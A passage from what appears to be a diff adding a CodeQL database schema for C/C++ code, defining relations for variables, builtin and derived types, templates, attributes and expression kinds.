type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +| 40 = @decimal32 // _Decimal32 +| 41 = @decimal64 // _Decimal64 +| 42 = @decimal128 // _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* +case @type_operator.kind of +| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; +*/ + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +/* +case @usertype.kind of +| 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; +*/ + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate 